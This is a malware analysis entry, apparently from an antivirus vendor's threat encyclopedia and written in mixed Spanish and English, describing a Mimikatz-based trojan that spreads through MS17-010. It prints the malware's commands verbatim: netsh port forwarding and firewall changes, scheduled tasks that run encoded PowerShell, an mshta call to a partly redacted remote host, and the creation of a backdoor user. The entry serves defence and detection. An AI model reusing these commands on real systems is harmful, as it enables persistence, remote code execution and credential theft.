Trojan.Win32.MIMIKATZ.ADV

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Este malware no tiene ninguna rutina de puerta trasera.

Detalles de entrada

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Instalación

Infiltra los archivos siguientes:

• %Temp%\mkatz.ini → Mimikatz script output
• %User Temp%\_MEI{random}\{Python components}

(Nota: %Temp% es la carpeta de archivos temporales de Windows, que suele estar en C:\Windows\Temp o C:\WINNT\Temp).

Infiltra y ejecuta los archivos siguientes:

• %Temp%\m.ps1 → obfuscated Mimikatz PowerShell script, detected as Trojan.PS1.MIMIKATZ.ADS

Agrega los procesos siguientes:

• netsh advfirewall set allprofile state on
• netsh advfirewall firewall add rule name=denyy445 dir=in action=block protocol=TCP localport=445
• netsh firewall add portopening tcp 65532 DNS2
• netsh interface portproxy add v4tov4 listenport=65532 connectaddress={BLOCKED}.{BLOCKED}.1.1 connectport=53
• netsh firewall add portopening tcp 65531 DNSS2
• netsh interface portproxy add v4tov4 listenport=65531 connectaddress={BLOCKED}.{BLOCKED}.1.1 connectport=53

Crea las carpetas siguientes:

• %User Temp%\_MEI{random}

(Nota: %User Temp% es la carpeta Temp del usuario activo, que en el caso de Windows 2000(32-bit), XP y Server 2003(32-bit) suele estar en C:\Documents and Settings\{nombre de usuario}\Local Settings\Temp y en el case de Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) y 10(64-bit) en C:\Users\{nombre de usuario}\AppData\Local\Temp).

Rutina de puerta trasera

Este malware no tiene ninguna rutina de puerta trasera.

Robo de información

Recopila los siguientes datos:

• Computer Name
• Public IP Address
• Username
• Password

Otros detalles

Hace lo siguiente:

• It connects to the following website(s) to download and execute a script:
  • http://v.{BLOCKED}h.com/v{user domain}
  • http://w.{BLOCKED}h.com/page.html?p{computer name}
• Port 60124 serves as its mutex to allow only one instance running.
• It deletes the user "k8h3d" if it exists, then it creates the same username afterwards on the infected machine and the vulnerable target machine.
• It scans randomly-generated IP addresses over the Internet and the local network to check for open port 445.
  If it finds a target with an open port 445, it will attempt to exploit MS17-010 vulnerability and perform the following commands:
  • Send one of the following files to the target and saved as %System Root%\installed.exe and %System Root%\installed2.exe:
    • %Windows%\System32\svhost.exe
    • %Windows%\SysWOW64\svhost.exe
    • %Windows%\System32\drivers\svchost.exe
    • %Windows%\SysWOW64\drivers\svchost.exe
  • Copy %Temp%\svchost.exe as %Windows%\{random 4-8 letters}.exe
  • Move %Temp%\dig.exe as %Windows%\{random 4-8 letters}.exe
  • Create a batch file named %Temp%\p.bat containing the ff. commands:
    • move /y %Temp%\{Random 4-8 letters}.exe %Windows%
    • netsh interface ipv6 install
    • netsh firewall add portopening tcp 65532 DNS2
    • netsh interface portproxy add v4tov4 listenport=65532 connectaddress={BLOCKED}.{BLOCKED}.1.1 connectport=53
    • netsh firewall add portopening tcp 65531 DNSS2
    • netsh interface portproxy add v4tov4 listenport=65531 connectaddress={BLOCKED}.{BLOCKED}.1.1 connectport=53
    • if exist C:/windows/system32/WindowsPowerShell/ (schtasks /create /ru system /sc MINUTE /mo 50 /st 07:00:00 /tn "\Microsoft\windows\Bluetooths" /tr "powershell -ep bypass -e {base-64 string}" /F&schtasks /create /ru system /sc MINUTE /mo 10 /st 07:00:00 /tn "\{random 4-8 letters}" /tr "%Windows%\{random 4-8 letters}.exe" /F&schtasks /create /ru system /sc MINUTE /mo 60 /st 07:05:00 /tn DnsScan /tr "%Temp%\svchost.exe" /F) else (start /b sc start Schedule&ping localhost&sc query Schedule|findstr RUNNING&&schtasks /delete /TN Autocheck /f&schtasks /create /ru system /sc MINUTE /mo 50 /ST 07:00:00 /TN Autocheck /tr "cmd.exe /c mshta http://w.{BLOCKED}h.com/page.html?p%COMPUTERNAME%"&schtasks /run /TN Autocheck&schtasks /delete /TN Autostart /f&schtasks /create /ru system /sc MINUTE /mo 10 /ST 07:00:00 /TN Autostart /tr "%Windows%\{random 4-8 letters}.exe"&schtasks /run /TN Autostart&schtasks /delete /TN Autoscan /f&schtasks /create /ru system /sc MINUTE /mo 50 /ST 07:00:00 /TN Autoscan /tr "%Temp%\svchost.exe"&schtasks /run /TN Autoscan)
    • net start Ddriver
    • for /f %%i in (\'tasklist | find /c /i "cmd.exe"\') do set s=%%i
    • if %s% gtr 10 (shutdown /r)
    • net user k8h3d /del
    • %Temp%\svchost.exe
    • del %Temp%\p.bat
  • Copies %Temp%\updll.exe and %Temp%\upinstalled.exe to the target machine, saved as the same filenames. It then creates %Temp%\tmp.vbs which executes the copied files.
  • Attempt to execute the sent files on the target machine.